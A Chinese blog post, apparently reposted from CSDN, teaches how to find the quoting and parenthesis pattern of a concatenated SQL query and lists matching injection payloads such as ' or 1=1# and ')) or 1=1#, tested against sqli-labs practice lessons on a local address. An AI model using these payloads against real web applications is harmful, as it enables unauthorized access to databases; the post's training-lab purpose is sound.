SQL拼接方式以及注入方法

SQL拼接方式以及注入方法

此前遇到的SQL拼接写法是这样的:

sql = "SELECT * from users where name = '$name' AND passwd = '$passwd'

实际上SQL混淆写法是多种多样的,可以分为两个维度:

  1. 引号:是否有引号,单引号还是双引号
  2. 括号:是否有括号,单重括号还是多重插号

那组合出来的SQL拼接情况如下表:

引号括号SQL拼接实例注入方式
select * from uers where id = $id id=-1 or 1=1#
单重 select * from users where id = ($id) id=-1) or 1=1#
select * from user where id = '$id' id=’ or 1=1#
单重 select * from user where id = ('$id') id=’) or 1=1#
select * from user where id = "$id" id=” or 1=1#
单重 select * from user where id = ("$id") id=”) or 1=1#
双重 select * from user where id = (($id)) id=-1)) or 1=1#
* 双重或多重 对于双重和多重情况,这里不枚举了  

每种注入方式,如果跟SQL拼接实例不匹配,MySQL语法器都会报错。如果在网页能提示mysql语法格式出错,那就可以证明该格式是不匹配的,同时也可以佐证PHP后台没有对参数做过滤或者转换。

利用sqli-labs平台进行验证

练习1(http://192.168.0.107/sqli-labs/Less-1/)

按照上表,将种注入参数往里灌,看哪种会成功

URL灌的参数结果
http://192.168.0.107/sqli-labs/Less-1/?id=-1 or 1=1# id=-1 or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-1/?id=-1) or 1=1# id=-1) or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-1/?id=' or 1=1# id=' or 1=1# 成功
http://192.168.0.107/sqli-labs/Less-1/?id=') or 1=1# id=') or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-1/?id=" or 1=1# id=" or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-1/?id=") or 1=1# id=") or 1=1# sql语法报错

猜测SQL拼接如SELECT * FROM users WHERE id = '$id'

请注意:在Chrome浏览器里面,#字符需要写在URL转义符%23来代替,否则服务器接到的参数会少了#

练习2(http://192.168.0.107/sqli-labs/Less-2/

注入表如下:

URL灌的参数是否成功
http://192.168.0.107/sqli-labs/Less-2/?id=-1 or 1=1# id=-1 or 1=1# 成功
http://192.168.0.107/sqli-labs/Less-2/?id=-1) or 1=1# id=-1) or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-2/?id=' or 1=1# id=' or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-2/?id=') or 1=1# id=') or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-2/?id=" or 1=1# id=" or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-2/?id=") or 1=1# id=") or 1=1# sql语法报错

猜测SQL拼接如SELECT * FROM users WHERE id = $id

练习4(http://192.168.0.107/sqli-labs/Less-3/

注入表如下:

URL灌的参数是否成功
http://192.168.0.107/sqli-labs/Less-4/?id=-1 or 1=1# id=-1 or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-4/?id=-1) or 1=1# id=-1) or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-4/?id=' or 1=1# id=' or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-4/?id=') or 1=1# id=') or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-4/?id=" or 1=1# id=" or 1=1# sql语法报错
http://192.168.0.107/sqli-labs/Less-4/?id=") or 1=1# id=") or 1=1# 成功

猜测SQL拼接如SELECT * FROM users WHERE id = ("$id")

遇到多重括号该怎办

在做sqli-labs练习题时,如果出现上述6种注入格式都无法注入成功,很可能是遇到了多重括号的SQL拼接情况。比如Less-7(http://192.168.0.107/sqli-labs/Less-7/),使用上述6种注入方式都不行,就得考虑是否有两重或多重括号了。

假设是两重括号,然后id可能无引号/单引号/双引号 这几种场景来枚举,依赖尝试

http://192.168.0.107/sqli-labs/Less-7/?id=-1)) or 1=1# 
http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1# 
http://192.168.0.107/sqli-labs/Less-7/?id=")) or 1=1#

发现 http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1# 注入成功,可以断定它的SQL是这样拼接的SELECT * from user where id = (('$id'))

 

【注】本文转自:http://blog.csdn.net/linyt/article/details/53041229

posted @ 2017-07-06 18:59  0nth3way  阅读(810)  评论(0)    收藏  举报